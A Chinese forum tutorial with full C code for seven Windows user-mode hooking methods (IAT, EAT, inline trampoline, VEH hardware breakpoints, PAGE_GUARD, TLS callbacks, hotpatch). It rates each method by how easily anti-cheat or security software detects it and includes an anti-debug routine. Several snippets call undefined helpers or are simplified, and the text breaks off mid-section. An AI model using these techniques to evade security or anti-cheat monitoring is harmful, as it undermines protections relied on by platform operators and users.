找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

4008

积分

0

好友

528

主题
发表于 2 小时前 | 查看: 6| 回复: 0

用户态 Hook 是最基础的拦截手段,所有代码运行在应用层,任何反作弊/安全软件只要扫描进程内存就能发现。隐蔽性虽低,但开发成本也最低。

1.1 IAT Hook(导入地址表 Hook)

原理

PE 文件加载时,Loader 会填充 IAT(Import Address Table),记录每个导入函数的实际地址。IAT Hook 直接修改这张表里的函数指针,让程序调用时跳到你的函数。

完整实现

#include <windows.h>
#include <winternl.h>

typedef HANDLE(WINAPI* fnOpenProcess)(DWORD, BOOL, DWORD);
fnOpenProcess OriginalOpenProcess = NULL;

// Hook 函数
HANDLE WINAPI HookedOpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId) {
    // 过滤掉对保护进程的访问
    if (dwProcessId == GetProtectedPid()) {
        SetLastError(ERROR_ACCESS_DENIED);
        return NULL;
    }
    return OriginalOpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId);
}

// IAT Hook 核心逻辑
BOOL IatHook(HMODULE hModule, const char* dllName, const char* funcName, PVOID hookFunc, PVOID* originalFunc) {
    // 获取 DOS Header
    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hModule;
    if (pDos->e_magic != IMAGE_DOS_SIGNATURE) return FALSE;

    // 获取 NT Header
    PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)hModule + pDos->e_lfanew);
    if (pNt->Signature != IMAGE_NT_SIGNATURE) return FALSE;

    // 获取导入表 RVA
    DWORD importRva = pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
    if (importRva == 0) return FALSE;

    PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)((BYTE*)hModule + importRva);

    // 遍历每个导入的 DLL
    while (pImport->Name) {
        char* modName = (char*)((BYTE*)hModule + pImport->Name);
        if (_stricmp(modName, dllName) == 0) {
            // 找到目标 DLL,遍历其 IAT
            PIMAGE_THUNK_DATA pOrigThunk = (PIMAGE_THUNK_DATA)((BYTE*)hModule + pImport->OriginalFirstThunk);
            PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)((BYTE*)hModule + pImport->FirstThunk);

            while (pOrigThunk->u1.AddressOfData) {
                // 通过名字匹配
                if (!(pOrigThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG)) {
                    PIMAGE_IMPORT_BY_NAME pName = (PIMAGE_IMPORT_BY_NAME)((BYTE*)hModule + pOrigThunk->u1.AddressOfData);
                    if (strcmp(pName->Name, funcName) == 0) {
                        // 找到目标函数,保存原始地址
                        *originalFunc = (PVOID)pThunk->u1.Function;

                        // 修改内存保护
                        DWORD oldProtect;
                        VirtualProtect(&pThunk->u1.Function, sizeof(ULONG_PTR), PAGE_READWRITE, &oldProtect);
                        pThunk->u1.Function = (ULONG_PTR)hookFunc;
                        VirtualProtect(&pThunk->u1.Function, sizeof(ULONG_PTR), oldProtect, &oldProtect);
                        return TRUE;
                    }
                }
                pOrigThunk++;
                pThunk++;
            }
        }
        pImport++;
    }
    return FALSE;
}

// 使用
void InstallIatHook() {
    IatHook(GetModuleHandle(NULL), "kernel32.dll", "OpenProcess",
            HookedOpenProcess, (PVOID*)&OriginalOpenProcess);
}

检测难度:★☆☆☆☆

遍历 IAT,对比每个条目是否指向对应 DLL 的地址范围内即可发现。CRC 校验 IAT 区域也能立即暴露。

局限

  • 只能 Hook 通过 IAT 调用的函数,GetProcAddress 动态获取的地址不经过 IAT
  • 每个模块有独立的 IAT,需要逐一修改
  • 任何内存扫描工具一眼就能看到

1.2 EAT Hook(导出地址表 Hook)

原理

修改 DLL 的 EAT(Export Address Table),让后续模块通过 GetProcAddress 获取到的地址是 Hook 函数。

完整实现

BOOL EatHook(HMODULE hDll, const char* funcName, PVOID hookFunc, PVOID* originalFunc) {
    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hDll;
    PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)hDll + pDos->e_lfanew);

    DWORD exportRva = pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    if (exportRva == 0) return FALSE;

    PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hDll + exportRva);
    DWORD* pFunctions = (DWORD*)((BYTE*)hDll + pExport->AddressOfFunctions);
    DWORD* pNames = (DWORD*)((BYTE*)hDll + pExport->AddressOfNames);
    WORD* pOrdinals = (WORD*)((BYTE*)hDll + pExport->AddressOfNameOrdinals);

    for (DWORD i = 0; i < pExport->NumberOfNames; i++) {
        char* name = (char*)((BYTE*)hDll + pNames[i]);
        if (strcmp(name, funcName) == 0) {
            // 保存原始函数地址
            *originalFunc = (PVOID)((BYTE*)hDll + pFunctions[pOrdinals[i]]);

            // 计算 Hook 函数相对于 DLL 基址的 RVA
            DWORD hookRva = (DWORD)((BYTE*)hookFunc - (BYTE*)hDll);

            DWORD oldProtect;
            VirtualProtect(&pFunctions[pOrdinals[i]], sizeof(DWORD), PAGE_READWRITE, &oldProtect);
            pFunctions[pOrdinals[i]] = hookRva;
            VirtualProtect(&pFunctions[pOrdinals[i]], sizeof(DWORD), oldProtect, &oldProtect);
            return TRUE;
        }
    }
    return FALSE;
}

// 注意:EAT Hook 的 hookFunc 地址必须在目标 DLL 的地址空间内
// 否则 RVA 会溢出。解决方案:在目标 DLL 附近分配内存作为跳板
PVOID AllocateNearby(HMODULE hDll, SIZE_T size) {
    MEMORY_BASIC_INFORMATION mbi;
    BYTE* addr = (BYTE*)hDll;

    // 在 DLL 前后 2GB 范围内找可用空间(RVA 是 32 位有符号偏移)
    for (BYTE* p = addr - 0x70000000; p < addr + 0x70000000; p += mbi.RegionSize) {
        if (VirtualQuery(p, &mbi, sizeof(mbi)) == 0) continue;
        if (mbi.State == MEM_FREE && mbi.RegionSize >= size) {
            PVOID alloc = VirtualAlloc(p, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            if (alloc) return alloc;
        }
    }
    return NULL;
}

检测难度:★☆☆☆☆

和 IAT Hook 一样,对比 EAT 条目与磁盘原始文件即可发现。

局限

  • 只对后续调用 GetProcAddress 的模块有效
  • 已经缓存了函数地址的模块不受影响
  • 同样是从内存修改,扫描即暴露

1.3 Inline Hook(内联 Hook / Detour)

原理

直接修改目标函数的头部字节,写入一条 jmp 指令跳转到你的 Hook 函数。执行完自定义逻辑后,跳回被覆盖的原始指令继续执行(Trampoline)。

完整实现(含指令重定位引擎)

#include <windows.h>
#include <stdint.h>

// x64 指令长度解析器(简化版,覆盖常见指令)
// 完整版应使用 Zydis/distorm 等反汇编库
typedef struct _INSTRUCTION {
    uint8_t length;
    BOOL isRipRelative;      // 是否包含 RIP 相对寻址
    int32_t ripOffset;       // RIP 偏移在指令中的位置
    int32_t ripDisplacement; // 原始 displacement 值
} INSTRUCTION;

// 解析单条指令长度(简化版核心逻辑)
INSTRUCTION ParseInstruction(const uint8_t* code) {
    INSTRUCTION inst = {0};
    const uint8_t* p = code;

    // 跳过前缀 (REX, LOCK, REP, segment override 等)
    while (*p == 0xF0 || *p == 0xF2 || *p == 0xF3 ||
           *p == 0x26 || *p == 0x2E || *p == 0x36 || *p == 0x3E ||
           *p == 0x64 || *p == 0x65 || *p == 0x66 || *p == 0x67 ||
           (*p >= 0x40 && *p <= 0x4F)) { // REX prefix
        p++;
    }

    uint8_t opcode = *p++;

    // 处理双字节操作码 (0F xx)
    if (opcode == 0x0F) {
        uint8_t op2 = *p++;
        // ModRM
        if (op2 >= 0x80 && op2 <= 0x8F) {
            // Jcc rel32 (条件跳转)
            inst.length = (int)(p - code) + 4;
            inst.isRipRelative = TRUE;
            inst.ripOffset = (int)(p - code);
            inst.ripDisplacement = *(int32_t*)p;
            return inst;
        }
        // 其他 0F xx 指令处理...
        if ((op2 & 0xC0) != 0xC0) { // 有 ModRM
            uint8_t modrm = *p++;
            uint8_t mod = (modrm >> 6) & 3;
            uint8_t rm = modrm & 7;
            if (mod == 0 && rm == 5) { // RIP-relative
                inst.isRipRelative = TRUE;
                inst.ripOffset = (int)(p - code);
                inst.ripDisplacement = *(int32_t*)p;
                p += 4;
            } else if (mod == 0 && rm == 4) { p++; } // SIB
            else if (mod == 1) { if (rm == 4) p++; p++; }
            else if (mod == 2) { if (rm == 4) p++; p += 4; }
        }
        inst.length = (int)(p - code);
        return inst;
    }

    // 单字节操作码处理
    switch (opcode) {
        case 0xE8: // CALL rel32
        case 0xE9: // JMP rel32
            inst.length = (int)(p - code) + 4;
            inst.isRipRelative = TRUE;
            inst.ripOffset = (int)(p - code);
            inst.ripDisplacement = *(int32_t*)p;
            return inst;
        case 0xEB: // JMP rel8
            inst.length = (int)(p - code) + 1;
            inst.isRipRelative = TRUE;
            inst.ripOffset = (int)(p - code);
            inst.ripDisplacement = (int8_t)*p;
            return inst;
        // ... 其他操作码
    }

    // 通用 ModRM 解析
    // (这里省略完整的操作码表映射,实际项目应使用 Zydis)
    inst.length = (int)(p - code);
    if (inst.length == 0) inst.length = 1; // 兜底
    return inst;
}

// Trampoline 构建器:将被覆盖的原始指令复制到 trampoline,并修正 RIP 相对引用
#define HOOK_STUB_SIZE 14  // x64 绝对跳转: FF 25 00 00 00 00 [8字节地址]
#define TRAMPOLINE_MAX 64

typedef struct _HOOK_CONTEXT {
    void* pTarget;                           // 原始函数地址
    void* pDetour;                           // Hook 函数地址
    uint8_t trampoline[TRAMPOLINE_MAX];      // Trampoline 缓冲区
    uint8_t originalBytes[HOOK_STUB_SIZE];   // 备份的原始字节
    uint32_t stolenLength;                   // 实际偷取的字节数
    void* pTrampoline;                       // Trampoline 可执行内存
} HOOK_CONTEXT;

BOOL BuildTrampoline(HOOK_CONTEXT* ctx) {
    uint8_t* src = (uint8_t*)ctx->pTarget;
    uint8_t* dst = ctx->trampoline;
    uint32_t totalCopied = 0;

    // 需要至少偷取 HOOK_STUB_SIZE 字节的完整指令
    while (totalCopied < HOOK_STUB_SIZE) {
        INSTRUCTION inst = ParseInstruction(src + totalCopied);

        if (inst.isRipRelative) {
            // RIP 相对指令需要重定位
            // 计算原始目标地址
            uint8_t* originalRip = src + totalCopied + inst.length; // 执行完该指令后的 RIP
            void* absoluteTarget = originalRip + inst.ripDisplacement;

            // 计算新的 displacement(从 trampoline 中的新位置到同一个绝对目标)
            uint8_t* newRip = dst + inst.length;
            int64_t newDisp = (int64_t)((uint8_t*)absoluteTarget - newRip);

            if (newDisp > INT32_MAX || newDisp < INT32_MIN) {
                // 距离超过 ±2GB,需要用绝对跳转间接寻址
                // 这种情况在 trampoline 分配在远处时会发生
                // 解决:在 trampoline 末尾放跳转表
                memcpy(dst, src + totalCopied, inst.length);
                // 将 displacement 改为指向 trampoline 内的跳转表
                // (此处简化处理,实际需要跳转表机制)
                return FALSE; // 需要更复杂的处理
            }

            // 复制指令,修改 displacement
            memcpy(dst, src + totalCopied, inst.length);
            *(int32_t*)(dst + inst.ripOffset) = (int32_t)newDisp;
        } else {
            // 非 RIP 相对指令,直接复制
            memcpy(dst, src + totalCopied, inst.length);
        }

        dst += inst.length;
        totalCopied += inst.length;
    }

    ctx->stolenLength = totalCopied;

    // 在 trampoline 末尾追加绝对跳转回原始函数(跳过被偷取的部分)
    // FF 25 00 00 00 00 [目标地址 8字节]
    *dst++ = 0xFF;
    *dst++ = 0x25;
    *(uint32_t*)dst = 0; dst += 4;
    *(uint64_t*)dst = (uint64_t)(src + totalCopied); dst += 8;

    // 分配可执行内存给 trampoline
    size_t trampolineSize = (size_t)(dst - ctx->trampoline);
    ctx->pTrampoline = VirtualAlloc(NULL, trampolineSize,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!ctx->pTrampoline) return FALSE;

    memcpy(ctx->pTrampoline, ctx->trampoline, trampolineSize);
    return TRUE;
}

// 安装 Hook
BOOL InstallInlineHook(HOOK_CONTEXT* ctx) {
    // 备份原始字节
    memcpy(ctx->originalBytes, ctx->pTarget, HOOK_STUB_SIZE);

    // 构建 Trampoline
    if (!BuildTrampoline(ctx)) return FALSE;

    // 写入跳转到 Detour
    DWORD oldProtect;
    VirtualProtect(ctx->pTarget, HOOK_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtect);

    uint8_t* p = (uint8_t*)ctx->pTarget;
    p[0] = 0xFF;
    p[1] = 0x25;
    *(uint32_t*)(p + 2) = 0;
    *(uint64_t*)(p + 6) = (uint64_t)ctx->pDetour;

    VirtualProtect(ctx->pTarget, HOOK_STUB_SIZE, oldProtect, &oldProtect);
    FlushInstructionCache(GetCurrentProcess(), ctx->pTarget, HOOK_STUB_SIZE);
    return TRUE;
}

// 卸载 Hook
BOOL RemoveInlineHook(HOOK_CONTEXT* ctx) {
    DWORD oldProtect;
    VirtualProtect(ctx->pTarget, HOOK_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtect);
    memcpy(ctx->pTarget, ctx->originalBytes, HOOK_STUB_SIZE);
    VirtualProtect(ctx->pTarget, HOOK_STUB_SIZE, oldProtect, &oldProtect);
    FlushInstructionCache(GetCurrentProcess(), ctx->pTarget, HOOK_STUB_SIZE);

    if (ctx->pTrampoline) {
        VirtualFree(ctx->pTrampoline, 0, MEM_RELEASE);
        ctx->pTrampoline = NULL;
    }
    return TRUE;
}

// 线程安全 Hook 安装(暂停其他线程避免竞态)
BOOL SafeInstallHook(HOOK_CONTEXT* ctx) {
    // 挂起所有其他线程
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    THREADENTRY32 te = { .dwSize = sizeof(te) };
    DWORD currentThread = GetCurrentThreadId();
    DWORD currentProcess = GetCurrentProcessId();

    HANDLE suspendedThreads[256];
    int suspendCount = 0;

    if (Thread32First(hSnap, &te)) {
        do {
            if (te.th32OwnerProcessID == currentProcess && te.th32ThreadID != currentThread) {
                HANDLE hThread = OpenThread(THREAD_SUSPEND_RESUME, FALSE, te.th32ThreadID);
                if (hThread) {
                    SuspendThread(hThread);
                    suspendedThreads[suspendCount++] = hThread;
                }
            }
        } while (Thread32Next(hSnap, &te) && suspendCount < 256);
    }
    CloseHandle(hSnap);

    // 安装 Hook
    BOOL result = InstallInlineHook(ctx);

    // 恢复所有线程
    for (int i = 0; i < suspendCount; i++) {
        ResumeThread(suspendedThreads[i]);
        CloseHandle(suspendedThreads[i]);
    }
    return result;
}

检测难度:★★☆☆☆

读取函数头几字节,对比磁盘上的原始 DLL 即可发现。大部分反作弊都会做完整性校验。

优点

  • 通用性最强,可以 Hook 任何函数
  • 不管调用方式(IAT/EAT/动态获取)都能拦截
  • Microsoft Detours 库提供了工业级实现

局限

  • 函数头部被直接修改,任何完整性校验都能发现
  • 需要处理多线程竞态(Hook 安装瞬间其他线程正在执行目标函数)
  • x64 绝对跳转指令长达 14 字节,可能覆盖多条原始指令
  • 指令重定位是最复杂的部分,生产环境建议使用 Zydis/distorm

1.4 VEH Hook(向量化异常处理 Hook)

原理

利用 Windows 向量化异常处理机制(VEH),通过设置硬件断点或内存保护异常,在目标函数执行时触发异常,在异常处理器中劫持执行流。

完整实现(含多线程 DR 设置)

#include <windows.h>
#include <tlhelp32.h>

typedef struct _VEH_HOOK_ENTRY {
    PVOID targetAddress;      // 要 Hook 的地址
    PVOID hookFunction;       // Hook 函数
    PVOID originalFunction;   // 原始函数(通过 trampoline 调用)
    int drIndex;              // 使用的 DR 寄存器索引 (0-3)
} VEH_HOOK_ENTRY;

#define MAX_VEH_HOOKS 4
VEH_HOOK_ENTRY g_vehHooks[MAX_VEH_HOOKS] = {0};
int g_vehHookCount = 0;
PVOID g_vehHandle = NULL;

// VEH 异常处理器
LONG CALLBACK VehExceptionHandler(PEXCEPTION_POINTERS pExInfo) {
    if (pExInfo->ExceptionRecord->ExceptionCode != EXCEPTION_SINGLE_STEP)
        return EXCEPTION_CONTINUE_SEARCH;

    // 检查是哪个 Hook 触发的
    for (int i = 0; i < g_vehHookCount; i++) {
        if ((PVOID)pExInfo->ContextRecord->Rip == g_vehHooks[i].targetAddress) {
            // 劫持 RIP 到 Hook 函数
            pExInfo->ContextRecord->Rip = (DWORD64)g_vehHooks[i].hookFunction;

            // 清除该 DR 的触发标志(DR6)
            pExInfo->ContextRecord->Dr6 = 0;

            return EXCEPTION_CONTINUE_EXECUTION;
        }
    }

    return EXCEPTION_CONTINUE_SEARCH;
}

// 对单个线程设置 Debug Register
BOOL SetThreadHwbp(HANDLE hThread, int drIndex, PVOID address) {
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;

    if (!GetThreadContext(hThread, &ctx)) return FALSE;

    // 设置 DRn 地址
    switch (drIndex) {
        case 0: ctx.Dr0 = (DWORD64)address; break;
        case 1: ctx.Dr1 = (DWORD64)address; break;
        case 2: ctx.Dr2 = (DWORD64)address; break;
        case 3: ctx.Dr3 = (DWORD64)address; break;
    }

    // 配置 DR7:启用对应断点,条件=执行,长度=1字节
    // DR7 格式:
    // Bit 0,2,4,6: Local Enable for DR0-3
    // Bit 16-17: Condition for DR0 (00=执行)
    // Bit 18-19: Length for DR0 (00=1字节)
    // 每个 DR 占 4 位 condition+length,从 bit 16 开始
    ctx.Dr7 &= ~(3ULL << (drIndex * 2));      // 清除 enable 位
    ctx.Dr7 |= (1ULL << (drIndex * 2));        // 设置 local enable
    ctx.Dr7 &= ~(0xFULL << (16 + drIndex * 4)); // 清除 condition+length
    // condition=00 (执行), length=00 (1字节) → 无需额外设置

    return SetThreadContext(hThread, &ctx);
}

// 清除单个线程的 Debug Register
BOOL ClearThreadHwbp(HANDLE hThread, int drIndex) {
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;

    if (!GetThreadContext(hThread, &ctx)) return FALSE;

    switch (drIndex) {
        case 0: ctx.Dr0 = 0; break;
        case 1: ctx.Dr1 = 0; break;
        case 2: ctx.Dr2 = 0; break;
        case 3: ctx.Dr3 = 0; break;
    }
    ctx.Dr7 &= ~(1ULL << (drIndex * 2)); // 禁用

    return SetThreadContext(hThread, &ctx);
}

// 对进程所有线程设置硬件断点
BOOL SetAllThreadsHwbp(int drIndex, PVOID address) {
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (hSnap == INVALID_HANDLE_VALUE) return FALSE;

    THREADENTRY32 te = { .dwSize = sizeof(te) };
    DWORD pid = GetCurrentProcessId();
    DWORD tid = GetCurrentThreadId();
    BOOL success = TRUE;

    if (Thread32First(hSnap, &te)) {
        do {
            if (te.th32OwnerProcessID == pid) {
                HANDLE hThread;
                if (te.th32ThreadID == tid) {
                    // 当前线程需要特殊处理
                    hThread = GetCurrentThread();
                } else {
                    hThread = OpenThread(THREAD_SET_CONTEXT | THREAD_GET_CONTEXT | THREAD_SUSPEND_RESUME,
                        FALSE, te.th32ThreadID);
                    if (!hThread) continue;
                    SuspendThread(hThread);
                }

                if (!SetThreadHwbp(hThread, drIndex, address))
                    success = FALSE;

                if (te.th32ThreadID != tid) {
                    ResumeThread(hThread);
                    CloseHandle(hThread);
                }
            }
        } while (Thread32Next(hSnap, &te));
    }
    CloseHandle(hSnap);
    return success;
}

// 安装 VEH Hook
BOOL InstallVehHook(PVOID targetAddr, PVOID hookFunc) {
    if (g_vehHookCount >= MAX_VEH_HOOKS) return FALSE;

    // 注册 VEH 处理器(只需一次)
    if (!g_vehHandle) {
        g_vehHandle = AddVectoredExceptionHandler(1, VehExceptionHandler);
        if (!g_vehHandle) return FALSE;
    }

    int drIndex = g_vehHookCount;
    g_vehHooks[drIndex].targetAddress = targetAddr;
    g_vehHooks[drIndex].hookFunction = hookFunc;
    g_vehHooks[drIndex].drIndex = drIndex;
    g_vehHookCount++;

    // 对所有线程设置硬件断点
    return SetAllThreadsHwbp(drIndex, targetAddr);
}

// 卸载 VEH Hook
BOOL RemoveVehHook(int drIndex) {
    if (drIndex >= g_vehHookCount) return FALSE;

    // 清除所有线程的硬件断点
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    THREADENTRY32 te = { .dwSize = sizeof(te) };
    DWORD pid = GetCurrentProcessId();

    if (Thread32First(hSnap, &te)) {
        do {
            if (te.th32OwnerProcessID == pid) {
                HANDLE hThread = OpenThread(THREAD_SET_CONTEXT | THREAD_GET_CONTEXT | THREAD_SUSPEND_RESUME,
                    FALSE, te.th32ThreadID);
                if (hThread) {
                    SuspendThread(hThread);
                    ClearThreadHwbp(hThread, drIndex);
                    ResumeThread(hThread);
                    CloseHandle(hThread);
                }
            }
        } while (Thread32Next(hSnap, &te));
    }
    CloseHandle(hSnap);
    return TRUE;
}

// 处理新线程:新线程创建后也需要设置 DR
// 方案:Hook NtCreateThread/NtResumeThread 或使用 TLS Callback

检测难度:★★★☆☆

  • 不修改目标函数的任何字节,完整性校验通过
  • 但 Debug Registers 可以被读取(GetThreadContext)
  • VEH 处理器可被枚举(NtQueryInformationProcess 或直接遍历 LdrpVectorHandlerList)

优点

  • 零字节修改,目标函数完全干净
  • 硬件断点由 CPU 触发,不需要修改任何内存

局限

  • 硬件断点只有 4 个(DR0-DR3),最多同时 Hook 4 个地址
  • 性能开销:每次触发需要进异常处理流程
  • 反作弊可以清空 Debug Registers 或设置 ThreadHideFromDebugger
  • 新创建的线程不会自动继承 DR 设置

1.5 PAGE_GUARD Hook(页面守卫 Hook)

原理

利用 PAGE_GUARD 内存保护属性。对目标函数所在页设置 PAGE_GUARD,首次访问时触发 STATUS_GUARD_PAGE_VIOLATION 异常,在 VEH 处理器中进行拦截。

完整实现

#include <windows.h>

typedef struct _GUARD_HOOK {
    PVOID targetFunction;
    PVOID hookFunction;
    PVOID pageBase;          // 目标函数所在页的基地址
    BOOL active;
} GUARD_HOOK;

GUARD_HOOK g_guardHook = {0};

LONG CALLBACK GuardPageHandler(PEXCEPTION_POINTERS pExInfo) {
    DWORD exCode = pExInfo->ExceptionRecord->ExceptionCode;

    if (exCode == STATUS_GUARD_PAGE_VIOLATION) {
        PVOID faultAddr = pExInfo->ExceptionRecord->ExceptionAddress;

        // 检查是否是我们监控的函数
        if (faultAddr == g_guardHook.targetFunction) {
            // 劫持执行流
            pExInfo->ContextRecord->Rip = (DWORD64)g_guardHook.hookFunction;
        }

        // 设置单步标志 TF,让 CPU 执行完一条指令后触发 EXCEPTION_SINGLE_STEP
        // 目的:在单步执行后重新设置 PAGE_GUARD(因为触发一次后 PAGE_GUARD 自动移除)
        pExInfo->ContextRecord->EFlags |= 0x100;

        return EXCEPTION_CONTINUE_EXECUTION;
    }

    if (exCode == EXCEPTION_SINGLE_STEP && g_guardHook.active) {
        // 单步执行完毕,重新设置 PAGE_GUARD
        DWORD oldProtect;
        VirtualProtect(g_guardHook.pageBase, PAGE_SIZE,
                      PAGE_EXECUTE_READ | PAGE_GUARD, &oldProtect);
        return EXCEPTION_CONTINUE_EXECUTION;
    }

    return EXCEPTION_CONTINUE_SEARCH;
}

BOOL InstallGuardHook(PVOID target, PVOID hook) {
    g_guardHook.targetFunction = target;
    g_guardHook.hookFunction = hook;
    g_guardHook.pageBase = (PVOID)((ULONG_PTR)target & ~0xFFF); // 页对齐
    g_guardHook.active = TRUE;

    AddVectoredExceptionHandler(1, GuardPageHandler);

    DWORD oldProtect;
    return VirtualProtect(g_guardHook.pageBase, PAGE_SIZE,
                         PAGE_EXECUTE_READ | PAGE_GUARD, &oldProtect);
}

检测难度:★★☆☆☆

  • 不修改代码,但改变了页面属性
  • VirtualQuery 可以发现页面有 PAGE_GUARD 标志
  • 同页上其他函数的调用也会触发异常,性能极差

致命缺陷

  • 整个页面(4KB)内的任何访问都会触发异常
  • 如果目标函数所在页被频繁访问,性能几乎不可用
  • 实际场景中几乎不使用,仅作为概念验证

1.6 TLS Callback Hook

原理

TLS(Thread Local Storage)Callback 是 PE 文件中注册的回调函数,在进程/线程创建和终止时被调用,且在 DLL_PROCESS_ATTACH 之前执行。利用这个时机可以在程序的 main 函数之前就完成 Hook 安装。

完整实现

#include <windows.h>

// 前置声明
void NTAPI TlsCallbackFunction(PVOID DllHandle, DWORD Reason, PVOID Reserved);

// TLS 目录声明(编译器会把这个放入 PE 的 TLS Directory)
#ifdef _WIN64
#pragma comment(linker, "/INCLUDE:_tls_used")
#pragma const_seg(".CRT$XLB")
EXTERN_C const PIMAGE_TLS_CALLBACK _tls_callback = TlsCallbackFunction;
#pragma const_seg()
#else
#pragma comment(linker, "/INCLUDE:__tls_used")
#pragma data_seg(".CRT$XLB")
EXTERN_C PIMAGE_TLS_CALLBACK _tls_callback = TlsCallbackFunction;
#pragma data_seg()
#endif

// 我们的 Hook 逻辑
typedef int(WINAPI* fnMessageBoxW)(HWND, LPCWSTR, LPCWSTR, UINT);
fnMessageBoxW RealMessageBoxW = NULL;

int WINAPI FakeMessageBoxW(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType) {
    // 修改消息内容
    return RealMessageBoxW(hWnd, L"HOOKED!", lpCaption, uType);
}

void NTAPI TlsCallbackFunction(PVOID DllHandle, DWORD Reason, PVOID Reserved) {
    if (Reason == DLL_PROCESS_ATTACH) {
        // 此时程序的 main/WinMain 还没执行
        // 各种初始化也还没完成,但 kernel32/ntdll 已经加载

        // 安装 IAT Hook(或任何其他 Hook)
        HMODULE hUser32 = LoadLibraryW(L"user32.dll");
        if (hUser32) {
            RealMessageBoxW = (fnMessageBoxW)GetProcAddress(hUser32, "MessageBoxW");
            // 这里可以安装 Inline Hook 等...
            InstallHookEarly();
        }
    }
}

// TLS Callback 的高级用法:反调试
void NTAPI AntiDebugTlsCallback(PVOID DllHandle, DWORD Reason, PVOID Reserved) {
    if (Reason == DLL_PROCESS_ATTACH) {
        // 在最早期检测调试器
        BOOL debuggerPresent = FALSE;
        CheckRemoteDebuggerPresent(GetCurrentProcess(), &debuggerPresent);
        if (IsDebuggerPresent() || debuggerPresent) {
            // 调试器存在,可以退出或做反制
            ExitProcess(0);
        }

        // 清除 PEB.BeingDebugged(如果被调试但 IsDebuggerPresent 被绕过)
        // NtCurrentPeb()->BeingDebugged = 0;
    }

    if (Reason == DLL_THREAD_ATTACH) {
        // 每个新线程创建时都会触发
        // 可以在这里给新线程设置硬件断点(VEH Hook 的完美搭配)
        SetThreadHwbp(GetCurrentThread(), 0, g_hookTarget);
    }
}

检测难度:★★☆☆☆

  • PE 文件的 TLS Directory 可以被静态分析
  • TLS Callback 数组的地址在 PE Header 中明确标注
  • 但执行时机很早,某些检测机制可能还未初始化

用途

  • 在程序最早期安装 Hook(先于 CRT 初始化)
  • 反调试(在调试器完全 attach 前检测)
  • 配合 VEH Hook,在每个新线程上自动设置硬件断点

1.7 Hotpatch Hook(热补丁 Hook)

原理

微软为了支持热补丁,很多系统函数头部保留 mov edi, edi(2字节 NOP)和预留空间,前面还有 5 字节的 nop 填充。利用这些空间写入短跳转 + 近跳转,实现不覆盖任何有效指令的 Hook。

完整实现

#include <windows.h>

typedef struct _HOTPATCH_HOOK {
    PVOID pTarget;
    PVOID pDetour;
    BYTE savedPreamble[7];   // -5 到 +2 的原始字节
    BOOL installed;
} HOTPATCH_HOOK;

// 检查函数是否支持 Hotpatch
BOOL IsHotpatchable(PVOID pFunction) {
    BYTE* p = (BYTE*)pFunction;

    // 检查函数头:mov edi, edi (8B FF) 或 mov ecx, ecx (8B C9)
    if (p[0] != 0x8B || (p[1] != 0xFF && p[1] != 0xC9))
        return FALSE;

    // 检查前面 5 字节是否为 NOP 或 INT 3
    for (int i = 1; i <= 5; i++) {
        if (p[-i] != 0x90 && p[-i] != 0xCC)
            return FALSE;
    }
    return TRUE;
}

BOOL InstallHotpatchHook(HOTPATCH_HOOK* hook) {
    BYTE* pFunc = (BYTE*)hook->pTarget;

    if (!IsHotpatchable(hook->pTarget))
        return FALSE;

    // 备份原始字节
    memcpy(hook->savedPreamble, pFunc - 5, 7);

    DWORD oldProtect;
    VirtualProtect(pFunc - 5, 7, PAGE_EXECUTE_READWRITE, &oldProtect);

    // 在 -5 位置写入 5 字节近跳转到 Hook 函数
    // E9 [rel32] → jmp hook_function
    pFunc[-5] = 0xE9;
    *(int32_t*)(pFunc - 4) = (int32_t)((BYTE*)hook->pDetour - pFunc);

    // 在 +0 位置把 mov edi,edi 改为短跳转到 -5
    // EB F9 → jmp short -5 (相对于 +2 跳到 -5,偏移 = -7 = 0xF9)
    *(WORD*)pFunc = 0xF9EB;

    VirtualProtect(pFunc - 5, 7, oldProtect, &oldProtect);
    FlushInstructionCache(GetCurrentProcess(), pFunc - 5, 7);

    hook->installed = TRUE;
    return TRUE;
}

BOOL RemoveHotpatchHook(HOTPATCH_HOOK* hook) {
    if (!hook->installed) return FALSE;

    BYTE* pFunc = (BYTE*)hook->pTarget;
    DWORD oldProtect;

    VirtualProtect(pFunc - 5, 7, PAGE_EXECUTE_READWRITE, &oldProtect);
    memcpy(pFunc - 5, hook->savedPreamble, 7);
    VirtualProtect(pFunc - 5, 7, oldProtect, &oldProtect);
    FlushInstructionCache(GetCurrentProcess(), pFunc - 5, 7);

    hook->installed = FALSE;
    return TRUE;
}

// 使用示例
HOTPATCH_HOOK hpHook = {0};
hpHook.pTarget = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateFileW");
hpHook.pDetour = MyHookedCreateFileW;
InstallHotpatchHook(&hpHook);

检测难度:★★☆☆☆

虽然利用了合法的热补丁机制,但 mov edi, edi 被改写一样可以被检测到。

注意

